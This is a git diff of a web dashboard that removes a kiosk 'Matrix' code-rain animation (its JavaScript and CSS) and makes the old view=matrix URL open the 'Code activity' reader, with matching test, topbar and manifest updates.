-141,6 +142,7 @@ async function scenario(query, opts = {}) { for (const fn of docEvents.DOMContentLoaded || []) fn(); const flush = async () => {for (let i = 0; i < 64; i++) await Promise.resolve()}; await flush(); + assert.equal(!!win.HIVE_READER, /[?&]kiosk=1(&|$)/.test(query) && /[?&]view=(reader|matrix)(&|$)/.test(query), query); if (!win.HIVE_READER) {assert.equal(requests.length, 0); assert(!doc.getElementById('hive-reader')); return;} const byClass = n => elements.find(e => e.className === n); const feed = byClass('reader-feed'), statusEl = byClass('reader-status'), button = byClass('reader-pause'); @@ -250,8 +252,10 @@ async function scenario(query, opts = {}) { assert.equal(feed.children.length, 0); assert(statusEl.textContent.includes('Sign in')); } (async () => { - await scenario(''); await scenario('?view=reader'); await scenario('?kiosk=1'); await scenario('?kiosk=1&view=matrix'); - await scenario('?kiosk=1&view=reader'); + await scenario(''); await scenario('?view=reader'); await scenario('?view=matrix'); await scenario('?kiosk=1'); + // Saved Matrix display URLs (view=matrix) are a deprecated alias for the reader. + await scenario('?kiosk=1&view=matrix&sound=off'); + await scenario(toolbarQuery); await scenario('?kiosk=1&view=reader', {reduced: true}); const region = {repo: 'org/repo', pr: 2, path: 'main.go', at}; await scenario('?kiosk=1&view=reader', {reduced: true, boundaries: true, pages: [ diff --git a/src/pkg/dashboard/server.go b/src/pkg/dashboard/server.go index 6427763fac..cb331ae8cc 100644 --- a/src/pkg/dashboard/server.go +++ b/src/pkg/dashboard/server.go @@ -3781,7 +3781,7 @@ type statusWithWebhooks struct { *EvalLoopStatus // MatrixEnabled reports whether the Matrix block is active (enabled with // at least one repo, see config.MatrixConfig.Active) so the header shows - // the Matrix tab only on hives whose /api/matrix/lines will serve it. + // the Code activity entry only where /api/matrix/lines will serve it. MatrixEnabled bool `json:"matrixEnabled"` // UpgradeProgress is the spoke's view of the scheduled-upgrade state // machine (scheduled / draining / pulling / … / missed) with the drain diff --git a/src/pkg/dashboard/static-src/css/kiosk.css b/src/pkg/dashboard/static-src/css/kiosk.css index d0f7ec0f63..4808de68e7 100644 --- a/src/pkg/dashboard/static-src/css/kiosk.css +++ b/src/pkg/dashboard/static-src/css/kiosk.css @@ -23,8 +23,8 @@ boot.js set body.kiosk-cta-on (kiosk=1 and not cta=off), so the operator dashboard never shows it. Bottom-right, under the toast stack's corner and above the tracker; sized to read off a 720p Twitch transcode of a - 1920x1080 capture (URL >= 22px). The Matrix view (css/matrix.css) lifts - it above its fixed canvas and dims it. */ + 1920x1080 capture (URL >= 22px). The Code activity view (css/reader.css) + lifts it above its fixed overlay and dims it. */ #kiosk-cta { display: none; } body.kiosk-cta-on #kiosk-cta { display: flex; align-items: center; gap: var(--sp-4); diff --git a/src/pkg/dashboard/static-src/css/matrix.css b/src/pkg/dashboard/static-src/css/matrix.css deleted file mode 100644 index ec03d32308..0000000000 --- a/src/pkg/dashboard/static-src/css/matrix.css +++ /dev/null @@ -1,17 +0,0 @@ -body.matrix-mode #hive-dashboard-root { display: none !important; } -body.matrix-mode #hive-matrix { - --matrix-bg: #000804; - --matrix-fg: #52ed86; - --matrix-surface: #000000; - --matrix-text: #e8f5eb; - --matrix-muted: #b8ccbb; - position: fixed; inset: 0; z-index: 100000; background: var(--matrix-bg); color: var(--matrix-color, var(--matrix-fg)); font: 16px monospace; -} -body.matrix-mode .matrix-canvas { display: block; position: absolute; inset: 0; z-index: 0; width: 100%; height: 100%; } -body.matrix-mode .matrix-labels { position: fixed; bottom: 1rem; left: 1rem; max-width: min(60vw, 48rem); z-index: 2; padding: var(--sp-3); background: var(--matrix-surface); color: var(--matrix-text); font-size: var(--fs-base); overflow-wrap: anywhere; } -body.matrix-mode .matrix-notice { position: fixed; top: 2rem; left: 1rem; right: 1rem; z-index: 2; color: var(--matrix-text); } -body.matrix-mode .matrix-list { position: absolute; inset: 4rem 1rem 8rem; z-index: 1; overflow: hidden; } -body.matrix-mode .matrix-list pre { white-space: pre-wrap; overflow-wrap: anywhere; margin: .3rem 0 1rem; } -body.matrix-mode .matrix-list small { color: var(--matrix-muted); } -body.matrix-mode #hive-matrix [hidden] { display: none !important; } -body.matrix-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; } diff --git a/src/pkg/dashboard/static-src/html/topbar.html b/src/pkg/dashboard/static-src/html/topbar.html index 8cbee4a4dd..4b943b428e 100644 --- a/src/pkg/dashboard/static-src/html/topbar.html +++ b/src/pkg/dashboard/static-src/html/topbar.html @@ -25,8 +25,7 @@ <div class="oc-topbar-right"> <button type="button" class="nav-chip nav-chip--icon nav-chip--action feedback-bug-btn" id="feedback-bug-btn" data-action="openFeedbackModal" data-arg0="submit" title="Report a bug or request a feature" aria-label="Report a bug or request a feature"><span class="nav-chip__icon" aria-hidden="true">πŸ›</span><span class="feedback-pill" id="feedback-unread-pill" hidden>0</span></button> <button class="nav-chip nav-chip--icon nav-chip--action layout-toggle" data-action="toggleLayout" title="Switch to Dark Mode" aria-label="Switch to Dark Mode">☾</button> - <a class="nav-chip nav-chip--action" id="oc-matrix-tab" href="?kiosk=1&view=matrix" title="Matrix display β€” opt-in code rain" aria-label="Matrix display" hidden><span class="nav-chip__label">Matrix</span></a> - <a class="nav-chip nav-chip--action" id="oc-reader-tab" href="?kiosk=1&view=reader" title="Code activity reader β€” pushed changes as readable paragraphs" aria-label="Code activity reader" hidden><span class="nav-chip__label">Reader</span></a> + <a class="nav-chip nav-chip--action" id="oc-matrix-tab" href="?kiosk=1&view=reader" target="_blank" rel="noopener" title="Code activity β€” published pushed changes as readable paragraphs (opens in a new tab)" aria-label="Code activity" hidden><span class="nav-chip__label">Code activity</span></a> <button type="button" class="nav-chip nav-chip--action" id="oc-settings-btn" data-action="openConfigDialog" data-arg0="governor" title="Settings β€” governor, agents, thresholds, and all hive settings" aria-label="Settings"><span class="nav-chip__icon" aria-hidden="true">βš™</span><span class="nav-chip__label">Settings</span></button> <span id="dashboard-custom-style-note" class="nav-chip nav-chip--status nav-chip--neutral dashboard-custom-style-note" style="display:none" role="status"></span> <!-- Agent Logs hidden (redundant with per-agent output) --> diff --git a/src/pkg/dashboard/static-src/js/boot.js b/src/pkg/dashboard/static-src/js/boot.js index 4a07d91459..ecb48044f2 100644 --- a/src/pkg/dashboard/static-src/js/boot.js +++ b/src/pkg/dashboard/static-src/js/boot.js @@ -36,13 +36,9 @@ (function(){ var kiosk=false, popout=false, display=false, view='', sound=true, density='', shift=false; try { var u=new URL(window.location.href); kiosk=u.searchParams.get('kiosk')==='1'; view=u.searchParams.get('view'); popout=u.searchParams.get('popout')==='1'; display=u.searchParams.get('display')==='1'; density=u.searchParams.get('density')==='tv'?'tv':''; shift=u.searchParams.get('shift')==='1'; sound=new URL(window.location.href).searchParams.get('sound')!=='off'; } catch(e) {} - window.HIVE_MATRIX = kiosk && view === 'matrix'; - if(window.HIVE_MATRIX){ - document.body.classList.add('matrix-mode'); - document.addEventListener('DOMContentLoaded', function(){ typeof hiveMatrixStart === 'function' && hiveMatrixStart(); }); - } - // Code activity reader (#16475): same opt-in data as Matrix, read as paragraphs. - window.HIVE_READER = kiosk && view === 'reader'; + // Code activity is the sole opt-in code display (#16477); view=matrix is a + // deprecated alias so saved Matrix display URLs open the reader. + window.HIVE_READER = kiosk && (view === 'reader' || view === 'matrix'); if(window.HIVE_READER){ document.body.classList.add('reader-mode'); document.addEventListener('DOMContentLoaded', function(){ typeof hiveReaderStart === 'function' && hiveReaderStart(); }); diff --git a/src/pkg/dashboard/static-src/js/matrix.js b/src/pkg/dashboard/static-src/js/matrix.js deleted file mode 100644 index 225ae94881..0000000000 --- a/src/pkg/dashboard/static-src/js/matrix.js +++ /dev/null @@ -1,347 +0,0 @@ -// Matrix is an opt-in display only. Content always comes from the authorized -// pull endpoint; the shared SSE stream carries a content-free nudge. -(function(){ - 'use strict'; - var pull = function(){}; - window.hiveMatrixAttach = function(source){ - if (!window.HIVE_MATRIX) return; - source.addEventListener('code-lines', function(){ pull(); }); - source.addEventListener('open', function(){ pull(); }); - }; - window.hiveMatrixStart = function(){ - if (!window.HIVE_MATRIX || document.getElementById('hive-matrix')) return; - var params = new URL(window.location.href).searchParams; - function option(name, fallback){ - var value = params.get('mx.' + name); - try { - if (value === null) value = localStorage.getItem('hive.matrix.' + name); - else localStorage.setItem('hive.matrix.' + name, value); - } catch(e) {} - return value === null ? fallback : value; - } - function number(name, fallback, min, max){ - var value = Number(option(name, String(fallback))); - return Number.isFinite(value) ? Math.max(min, Math.min(max, value)) : fallback; - } - var effect = option('effect', 'rain'); - if (['rain', 'cascade', 'ghost', 'terminal'].indexOf(effect) < 0) effect = 'rain'; - var captions = option('captions', 'on') !== 'off'; - var speed = number('speed', 1, 0.1, 5), fps = number('fps', 30, 1, 60); - var palette = option('palette', 'green'); - var colors = {green: '#52ed86', amber: '#ffb347', gold: '#ffd700'}; - var color = colors[palette] || colors.green; - var root = document.createElement('main'); - root.id = 'hive-matrix'; - root.style.setProperty('--matrix-color', color); - document.body.appendChild(root); - function element(tag, className, text){ - var el = document.createElement(tag); - el.className = className; - if (text) el.textContent = text; - root.appendChild(el); - return el; - } - var canvas = element('canvas', 'matrix-canvas'); - canvas.setAttribute('aria-label', 'Pushed code lines Β· Matrix ' + effect); - var list = element('div', 'matrix-list'); - var notice = element('p', 'matrix-notice', 'Waiting for pushed lines…'); - notice.setAttribute('role', 'status'); - var labels = element('div', 'matrix-labels'); - var source = document.createElement('div'); - source.textContent = 'Source: lines pushed by hive Β· public allowlisted repos'; - var freshness = document.createElement('div'); - var pausedLabel = document.createElement('div'); - labels.append(source, freshness, pausedLabel); - var ctx = canvas.getContext('2d'); - var motion = window.matchMedia('(prefers-reduced-motion: reduce)'); - var lines = [], lastSeq = 0, lastAt = 0, lastIngestAt = 0, startedAt = Date.now(); - var enabled = false, manualPause = false, loading = false, pending = false; - var frame = 0, previous = 0, page = 0, pageTimer = 0, drops = []; - var atlas = document.createElement('canvas'), glyphs = new Map(); - var width = 0, height = 0, cell = 20, rowH = 20, charW = 10; - // Ghost coder and Terminal type the delivered lines in order; once the - // queue runs dry they replay the bounded latest-line window. - var queue = [], tabs = [], typing = null, termRows = [], termHead = '', termClock = 0; - var muted = '#6f8f78', syntaxColors = {keyword: '#7fd4ff', string: '#ffd27f', comment: muted, number: '#ff9cf0'}; - var languages = { - go: {comment: '//', words: 'package import func return if else for range var const type struct interface map chan go defer select case switch default break continue nil true false'}, - js: {comment: '//', words: 'function var let const return if else for while do new class extends import export from default async await this null undefined true false typeof instanceof switch case break continue try catch finally throw of in'}, - py: {comment: '#', words: 'def class import from return if elif else for while in not and or is None True False with as lambda yield pass raise try except finally async await'}, - sh: {comment: '#', words: 'if then else elif fi for while do done case esac function local export return in'}, - rs: {comment: '//', words: 'fn let mut pub use mod struct enum impl trait match if else for while loop return self Self true false const static where async await'}, - c: {comment: '//', words: 'if else for while do return break continue switch case default new class public private protected static const struct enum typedef sizeof void int char long double float unsigned true false null this import package'} - }; - var extensions = {go: 'go', js: 'js', mjs: 'js', cjs: 'js', ts: 'js', tsx: 'js', jsx: 'js', py: 'py', sh: 'sh', bash: 'sh', - rs: 'rs', c: 'c', h: 'c', cc: 'c', cpp: 'c', hpp: 'c', java: 'c', cs: 'c'}; - Object.keys(languages).forEach(function(k){ languages[k].words = new Set(languages[k].words.split(' ')); }); - function paused(){ return manualPause || document.hidden; } - // Height of the bottom band the freshness HUD occupies, so typed rows - // never run under it in any effect (#16441). 100px is the floor used - // before the HUD was measured. - function hudBand(){ return Math.max(100, (labels.offsetHeight || 0) + 32); } - function resize(){ - width = window.innerWidth; height = window.innerHeight; - canvas.width = width; canvas.height = height; - drops = []; - ctx.font = '16px monospace'; - charW = (ctx.measureText && ctx.measureText('M').width) || 10; - } - function resetText(){ queue = []; tabs = []; typing = null; termRows = []; termHead = ''; termClock = 0; } - function clearContent(message){ - enabled = false; lines = []; drops = []; glyphs.clear(); resetText(); - lastSeq = 0; lastAt = 0; lastIngestAt = 0; - list.replaceChildren(); ctx.clearRect(0, 0, width, height); - notice.textContent = message; - sync(); - } - function updateLabels(){ - var minutes = Math.floor(Math.max(0, Date.now() - (lastAt || startedAt)) / 60000); - var text = minutes >= 10 ? 'stale Β· no new lines for ' + minutes + 'm' : - (lastAt ? 'last line ' + (minutes ? minutes + 'm ago' : 'just now') : 'waiting for first line'); - // When stale, say whether the hive is still looking: a recent ingest - // means nothing was pushed, an old one means the feed itself is behind. - if (minutes >= 10 && lastIngestAt) { - var ingestMinutes = Math.floor(Math.max(0, Date.now() - lastIngestAt) / 60000); - text += ' Β· last ingest ' + (ingestMinutes ? ingestMinutes + 'm ago' : 'just now'); - } - freshness.textContent = text; - pausedLabel.textContent = paused() ? 'paused' : 'p / Space to pause'; - } - function caption(line){ return line.repo + '#' + line.pr + ' Β· ' + line.path; } - function prKey(line){ return line.repo + '#' + line.pr; } - function nextLine(key){ - if (!queue.length) queue = lines.slice(); - var at = 0; - for (var i = 0; key && i < queue.length; i++) if (prKey(queue[i]) === key) { at = i; break; } - return queue.splice(at, 1)[0] || null; - } - // Minimal keyword/string/comment/number colouring keyed on the extension; - // unknown extensions render in the palette colour. - function tokens(path, text){ - var ext = (/\.([^.\/]+)$/.exec(path || '') || [])[1]; - var lang = languages[extensions[ext ? ext.toLowerCase() : '']]; - if (!lang) return [{text: text, color: color}]; - var out = [], last = 0, match; - var pattern = /("(?:[^"\\]|\\.)*"?|'(?:[^'\\]|\\.)*'?|`[^`]*`?)|(\b\d[\w.]*)|([A-Za-z_$][\w$]*)|(\/\/|#)/g; - function push(t, c){ if (t) out.push({text: t, color: c}); } - while ((match = pattern.exec(text))) { - push(text.slice(last, match.index), color); - last = pattern.lastIndex; - if (match[4] === lang.comment) { push(text.slice(match.index), syntaxColors.comment); last = text.length; break; } - push(match[0], match[1] ? syntaxColors.string : match[2] ? syntaxColors.number : - match[3] && lang.words.has(match[0]) ? syntaxColors.keyword : color); - } - push(text.slice(last), color); - return out; - } - function openTab(line){ - var key = prKey(line), tab = null; - tabs.forEach(function(t){ if (t.key === key) tab = t; }); - if (!tab) { - tab = {key: key, rows: [], count: 0}; tabs.push(tab); - if (tabs.length > 6) tabs.shift(); - } - tab.path = line.path; - return tab; - } - function startTyping(line){ - typing = line ? {tab: openTab(line), line: line, chars: Array.from(line.line), typed: 0} : null; - } - function drawGhost(dt, now){ - if (!typing) startTyping(nextLine('')); - if (!typing) return; - typing.typed += dt * 40; - // A short beat at the end of each line before the next one starts. - if (typing.typed >= typing.chars.length + 4) { - var done = typing.tab; - done.count++; - done.rows.push({n: done.count, path: typing.line.path, text: typing.line.line}); - if (done.rows.length > 200) done.rows.shift(); - startTyping(nextLine(done.key)); - if (!typing) return; - } - var tab = typing.tab, top = 34, tabW = Math.min(240, width / Math.max(1, tabs.length)); - ctx.font = '13px monospace'; - tabs.forEach(function(t, i){ - ctx.fillStyle = t === tab ? '#0b2a16' : '#02140a'; - ctx.fillRect(i * tabW, 0, tabW - 2, 28); - ctx.fillStyle = t === tab ? color : muted; - ctx.fillText(t.path, i * tabW + 10, 19, tabW - 20); - }); - if (captions) { - ctx.fillStyle = '#b8ccbb'; ctx.font = '12px monospace'; - ctx.fillText(caption(typing.line), 10, 48, width - 20); - top = 56; - } - ctx.font = '16px monospace'; - var visible = Math.max(1, Math.floor((height - top - hudBand()) / rowH)); - var current = {n: tab.count + 1, path: typing.line.path, text: typing.chars.slice(0, Math.floor(typing.typed)).join(''), current: true}; - tab.rows.slice(-(visible - 1) || tab.rows.length).concat([current]).forEach(function(row, i){ - var y = top + (i + 1) * rowH, col = 0; - ctx.fillStyle = muted; ctx.fillText(String(row.n), 10, y); - tokens(row.path, row.text).forEach(function(token){ - ctx.fillStyle = token.color; ctx.fillText(token.text, 60 + col * charW, y); - col += Array.from(token.text).length; - }); - if (row.current && Math.floor(now / 530) % 2 === 0) { ctx.fillStyle = color; ctx.fillRect(60 + col * charW, y - 14, 2, 18); } - }); - } - function emitTerminal(){ - var line = nextLine(''); - if (!line) return; - if (caption(line) !== termHead) { - termHead = caption(line); - if (captions) { - if (termRows.length) termRows.push({text: '', color: color}); - termRows.push({text: termHead, color: '#b8ccbb'}); - } - } - termRows.push({text: '+ ' + line.line, color: color}); - var keep = Math.ceil(height / rowH) + 4; - if (termRows.length > keep) termRows = termRows.slice(-keep); - } - function drawTerminal(dt){ - if (!termRows.length) emitTerminal(); - termClock += dt * 4; - while (termClock >= 1) { termClock -= 1; emitTerminal(); } - var bottom = height - hudBand(); - ctx.font = '16px monospace'; - termRows.forEach(function(row, i){ - var y = bottom - (termRows.length - 1 - i + termClock) * rowH; - if (y < -rowH || !row.text) return; - ctx.fillStyle = row.color; ctx.fillText(row.text, 10, y, width - 20); - }); - } - function staticPage(){ - list.replaceChildren(); - var latest = lines.slice(-60).reverse(); - if (page * 8 >= latest.length) page = 0; - latest.slice(page * 8, page * 8 + 8).forEach(function(line){ - var row = document.createElement('div'); - var label = document.createElement('small'); - label.textContent = caption(line); - var text = document.createElement('pre'); - text.textContent = line.line; - row.append(label, text); list.appendChild(row); - }); - } - function buildAtlas(){ - // Bounded by the same latest-line window as the renderer. No synthetic - // characters: every glyph in a column belongs to an incoming line. - glyphs.clear(); - lines.forEach(function(line){ Array.from(line.line).forEach(function(g){ - if (!glyphs.has(g)) glyphs.set(g, glyphs.size); - }); }); - atlas.width = 64 * cell; - atlas.height = Math.max(cell, Math.ceil(glyphs.size / 64) * cell); - var ac = atlas.getContext('2d'); - ac.font = '16px monospace'; ac.fillStyle = color; - glyphs.forEach(function(i, g){ ac.fillText(g, (i % 64) * cell, Math.floor(i / 64) * cell + 16); }); - } - function spawn(x){ - var line = lines[Math.floor(Math.random() * lines.length)]; - return {x: x, y: -Math.random() * height, speed: 25 + Math.random() * 65, - line: line, chars: Array.from(line.line)}; - } - function draw(now){ - frame = 0; - if (paused() || motion.matches || !enabled) return; - if (!previous) previous = now; - var elapsed = now - previous; - if (elapsed >= 1000 / fps) { - previous = now; - var dt = Math.min(elapsed, 100) / 1000 * speed; - ctx.fillStyle = effect === 'rain' ? 'rgba(0, 8, 4, 0.18)' : '#000804'; - ctx.fillRect(0, 0, width, height); - ctx.font = '16px monospace'; - if (lines.length && effect === 'ghost') drawGhost(dt, now); - else if (lines.length && effect === 'terminal') drawTerminal(dt); - else if (lines.length) { - var count = effect === 'rain' ? Math.ceil(width / cell) : 12; - while (drops.length < count) drops.push(spawn(effect === 'rain' ? drops.length * cell : Math.random() * width * 0.5)); - drops.forEach(function(drop, i){ - drop.y += drop.speed * dt; - if (drop.y > height + 40) { drops[i] = spawn(drop.x); return; } - if (effect === 'cascade') { - ctx.fillStyle = color; ctx.fillText(drop.line.line, drop.x, drop.y, width - drop.x); - if (captions) { - ctx.fillStyle = '#b8ccbb'; ctx.font = '12px monospace'; - ctx.fillText(caption(drop.line), drop.x, drop.y + 18, width - drop.x); - ctx.font = '16px monospace'; - } - } else if (drop.chars.length) { - var g = drop.chars[Math.floor(drop.y / cell + drop.chars.length * 100) % drop.chars.length]; - var index = glyphs.get(g); - if (index !== undefined) ctx.drawImage(atlas, (index % 64) * cell, Math.floor(index / 64) * cell, cell, cell, drop.x, drop.y, cell, cell); - ctx.fillStyle = '#effff2'; ctx.fillText(g, drop.x, drop.y + 16); - } - }); - } - } - frame = requestAnimationFrame(draw); - } - function sync(){ - if (frame) cancelAnimationFrame(frame); - frame = 0; previous = 0; - clearTimeout(pageTimer); pageTimer = 0; - updateLabels(); - canvas.hidden = motion.matches || !enabled; - list.hidden = !motion.matches || !enabled; - if (!enabled || paused()) return; - if (motion.matches) { - staticPage(); - pageTimer = setTimeout(function(){ page++; sync(); }, 15000); - } else frame = requestAnimationFrame(draw); - } - pull = function(){ - if (loading) { pending = true; return; } - loading = true; pending = false; - fetch('/api/matrix/lines?since=' + lastSeq, {cache: 'no-store', credentials: 'same-origin'}) - .then(function(response){ - if (response.status === 404) { clearContent('Matrix mode is not enabled on this hive'); return null; } - if (response.status === 401 || response.status === 403) { clearContent('Sign in with permission to read Matrix lines'); return null; } - if (!response.ok) throw new Error('Matrix pull failed'); - return response.json(); - }).then(function(data){ - if (!data) return; - var incoming = (Array.isArray(data.lines) ? data.lines : []).filter(function(line){ return typeof line.line === 'string'; }); - var seq = Number(data.seq) || 0; - // A restarted hive can reset its sequence; replace the old backlog. - if (seq < lastSeq) { lines = []; drops = []; resetText(); } - if (seq !== lastSeq && incoming.length) { - var at = Date.parse(incoming[incoming.length - 1].at); - lastAt = Number.isFinite(at) ? at : Date.now(); - } - lastSeq = seq; - var ingestAt = Date.parse(data.last_ingest_at); - lastIngestAt = Number.isFinite(ingestAt) ? ingestAt : 0; - lines = lines.concat(incoming).slice(-120); - queue = queue.concat(incoming).slice(-120); - enabled = true; - notice.textContent = lines.length ? '' : 'Waiting for pushed lines…'; - if (!motion.matches) buildAtlas(); - sync(); - }).catch(function(){ clearContent('Matrix lines unavailable Β· retrying'); }) - .finally(function(){ loading = false; if (pending) pull(); }); - }; - document.addEventListener('visibilitychange', function(){ sync(); if (!document.hidden) pull(); }); - document.addEventListener('keydown', function(event){ - if (event.ctrlKey || event.metaKey || event.altKey || event.repeat || - /INPUT|TEXTAREA|SELECT/.test(event.target.tagName) || event.target.isContentEditable) return; - if (event.key === 'p' || event.key === 'P' || event.code === 'Space') { - event.preventDefault(); manualPause = !manualPause; sync(); - } - }); - motion.addEventListener('change', function(){ - ctx.clearRect(0, 0, width, height); - if (!motion.matches) buildAtlas(); - sync(); - }); - window.addEventListener('resize', resize); - resize(); sync(); pull(); - // Recover from missed nudges, endpoint activation and transient failures. - if (typeof dashboardSetInterval === 'function') { - dashboardSetInterval('matrix-poll', function(){ updateLabels(); if (!document.hidden) pull(); }, 30000); - } - }; -})(); diff --git a/src/pkg/dashboard/static-src/js/refresh.js b/src/pkg/dashboard/static-src/js/refresh.js index 2f57184955..21511384cf 100644 --- a/src/pkg/dashboard/static-src/js/refresh.js +++ b/src/pkg/dashboard/static-src/js/refresh.js @@ -480,10 +480,8 @@ _lastStatusSeq = data.statusSeq; } if (typeof data.matrixEnabled === 'boolean') { - const matrixTab = document.getElementById('oc-matrix-tab'); - if (matrixTab) matrixTab.hidden = !data.matrixEnabled; - const readerTab = document.getElementById('oc-reader-tab'); - if (readerTab) readerTab.hidden = !data.matrixEnabled; + const codeActivityTab = document.getElementById('oc-matrix-tab'); + if (codeActivityTab) codeActivityTab.hidden = !data.matrixEnabled; } if (document.body.style.opacity === '0') document.body.style.opacity = '1'; const scrollAnchor = captureScrollAnchor(); diff --git a/src/pkg/dashboard/static-src/js/sse-bootstrap.js b/src/pkg/dashboard/static-src/js/sse-bootstrap.js index 925a9cfce8..76a4fbb6ce 100644 --- a/src/pkg/dashboard/static-src/js/sse-bootstrap.js +++ b/src/pkg/dashboard/static-src/js/sse-bootstrap.js @@ -28,7 +28,6 @@ if (_eventSource) { _eventSource.onerror = null; _eventSource.onmessage = null; _eventSource.close(); _eventSource = null; } const source = new EventSource('/api/events'); _eventSource = source; - if (window.HIVE_MATRIX) window.hiveMatrixAttach(source); if (window.HIVE_READER) window.hiveReaderAttach(source); _sseOpenedAtMs = Date.now(); _sseLastFrameAtMs = 0; diff --git a/src/pkg/dashboard/static-src/manifest.txt b/src/pkg/dashboard/static-src/manifest.txt index 29f97e4627..62820db249 100644 --- a/src/pkg/dashboard/static-src/manifest.txt +++ b/src/pkg/dashboard/static-src/manifest.txt @@ -33,11 +33,9 @@ css/welcome.css css/review-campaigns.css css/kiosk.css css/popout.css -css/matrix.css css/reader.css css/variables.css glue/style-close-body-open.html -js/matrix.js js/reader.js js/boot.js glue/boot-script-close.html diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index aa350a10b5..65f75928f7 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -6927,8 +6927,8 @@ boot.js set body.kiosk-cta-on (kiosk=1 and not cta=off), so the operator dashboard never shows it. Bottom-right, under the toast stack's corner and above the tracker; sized to read off a 720p Twitch transcode of a - 1920x1080 capture (URL >= 22px). The Matrix view (css/matrix.css) lifts - it above its fixed canvas and dims it. */ + 1920x1080 capture (URL >= 22px). The Code activity view (css/reader.css) + lifts it above its fixed overlay and dims it. */ #kiosk-cta { display: none; } body.kiosk-cta-on #kiosk-cta { display: flex; align-items: center; gap: var(--sp-4); @@ -7087,23 +7087,6 @@ body.display-shift #activity-monitor-section { animation: none; } body.display-mode #activity-monitor-panel, body.display-mode #activity-monitor-meta, body.display-mode #activity-monitor-sticky, body.display-mode #activity-monitor-native-queue { transition: none; } } -body.matrix-mode #hive-dashboard-root { display: none !important; } -body.matrix-mode #hive-matrix { - --matrix-bg: #000804; - --matrix-fg: #52ed86; - --matrix-surface: #000000; - --matrix-text: #e8f5eb; - --matrix-muted: #b8ccbb; - position: fixed; inset: 0; z-index: 100000; background: var(--matrix-bg); color: var(--matrix-color, var(--matrix-fg)); font: 16px monospace; -} -body.matrix-mode .matrix-canvas { display: block; position: absolute; inset: 0; z-index: 0; width: 100%; height: 100%; } -body.matrix-mode .matrix-labels { position: fixed; bottom: 1rem; left: 1rem; max-width: min(60vw, 48rem); z-index: 2; padding: var(--sp-3); background: var(--matrix-surface); color: var(--matrix-text); font-size: var(--fs-base); overflow-wrap: anywhere; } -body.matrix-mode .matrix-notice { position: fixed; top: 2rem; left: 1rem; right: 1rem; z-index: 2; color: var(--matrix-text); } -body.matrix-mode .matrix-list { position: absolute; inset: 4rem 1rem 8rem; z-index: 1; overflow: hidden; } -body.matrix-mode .matrix-list pre { white-space: pre-wrap; overflow-wrap: anywhere; margin: .3rem 0 1rem; } -body.matrix-mode .matrix-list small { color: var(--matrix-muted); } -body.matrix-mode #hive-matrix [hidden] { display: none !important; } -body.matrix-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; } body.reader-mode #hive-dashboard-root { display: none !important; } body.reader-mode #hive-reader { --reader-bg: #0b0f0c; @@ -7147,353 +7130,6 @@ </head> <body> <script> -// Matrix is an opt-in display only. Content always comes from the authorized -// pull endpoint; the shared SSE stream carries a content-free nudge. -(function(){ - 'use strict'; - var pull = function(){}; - window.hiveMatrixAttach = function(source){ - if (!window.HIVE_MATRIX) return; - source.addEventListener('code-lines', function(){ pull(); }); - source.addEventListener('open', function(){ pull(); }); - }; - window.hiveMatrixStart = function(){ - if (!window.HIVE_MATRIX || document.getElementById('hive-matrix')) return; - var params = new URL(window.location.href).searchParams; - function option(name, fallback){ - var value = params.get('mx.' + name); - try { - if (value === null) value = localStorage.getItem('hive.matrix.' + name); - else localStorage.setItem('hive.matrix.' + name, value); - } catch(e) {} - return value === null ? fallback : value; - } - function number(name, fallback, min, max){ - var value = Number(option(name, String(fallback))); - return Number.isFinite(value) ? Math.max(min, Math.min(max, value)) : fallback; - } - var effect = option('effect', 'rain'); - if (['rain', 'cascade', 'ghost', 'terminal'].indexOf(effect) < 0) effect = 'rain'; - var captions = option('captions', 'on') !== 'off'; - var speed = number('speed', 1, 0.1, 5), fps = number('fps', 30, 1, 60); - var palette = option('palette', 'green'); - var colors = {green: '#52ed86', amber: '#ffb347', gold: '#ffd700'}; - var color = colors[palette] || colors.green; - var root = document.createElement('main'); - root.id = 'hive-matrix'; - root.style.setProperty('--matrix-color', color); - document.body.appendChild(root); - function element(tag, className, text){ - var el = document.createElement(tag); - el.className = className; - if (text) el.textContent = text; - root.appendChild(el); - return el; - } - var canvas = element('canvas', 'matrix-canvas'); - canvas.setAttribute('aria-label', 'Pushed code lines Β· Matrix ' + effect); - var list = element('div', 'matrix-list'); - var notice = element('p', 'matrix-notice', 'Waiting for pushed lines…'); - notice.setAttribute('role', 'status'); - var labels = element('div', 'matrix-labels'); - var source = document.createElement('div'); - source.textContent = 'Source: lines pushed by hive Β· public allowlisted repos'; - var freshness = document.createElement('div'); - var pausedLabel = document.createElement('div'); - labels.append(source, freshness, pausedLabel); - var ctx = canvas.getContext('2d'); - var motion = window.matchMedia('(prefers-reduced-motion: reduce)'); - var lines = [], lastSeq = 0, lastAt = 0, lastIngestAt = 0, startedAt = Date.now(); - var enabled = false, manualPause = false, loading = false, pending = false; - var frame = 0, previous = 0, page = 0, pageTimer = 0, drops = []; - var atlas = document.createElement('canvas'), glyphs = new Map(); - var width = 0, height = 0, cell = 20, rowH = 20, charW = 10; - // Ghost coder and Terminal type the delivered lines in order; once the - // queue runs dry they replay the bounded latest-line window. - var queue = [], tabs = [], typing = null, termRows = [], termHead = '', termClock = 0; - var muted = '#6f8f78', syntaxColors = {keyword: '#7fd4ff', string: '#ffd27f', comment: muted, number: '#ff9cf0'}; - var languages = { - go: {comment: '//', words: 'package import func return if else for range var const type struct interface map chan go defer select case switch default break continue nil true false'}, - js: {comment: '//', words: 'function var let const return if else for while do new class extends import export from default async await this null undefined true false typeof instanceof switch case break continue try catch finally throw of in'}, - py: {comment: '#', words: 'def class import from return if elif else for while in not and or is None True False with as lambda yield pass raise try except finally async await'}, - sh: {comment: '#', words: 'if then else elif fi for while do done case esac function local export return in'}, - rs: {comment: '//', words: 'fn let mut pub use mod struct enum impl trait match if else for while loop return self Self true false const static where async await'}, - c: {comment: '//', words: 'if else for while do return break continue switch case default new class public private protected static const struct enum typedef sizeof void int char long double float unsigned true false null this import package'} - }; - var extensions = {go: 'go', js: 'js', mjs: 'js', cjs: 'js', ts: 'js', tsx: 'js', jsx: 'js', py: 'py', sh: 'sh', bash: 'sh', - rs: 'rs', c: 'c', h: 'c', cc: 'c', cpp: 'c', hpp: 'c', java: 'c', cs: 'c'}; - Object.keys(languages).forEach(function(k){ 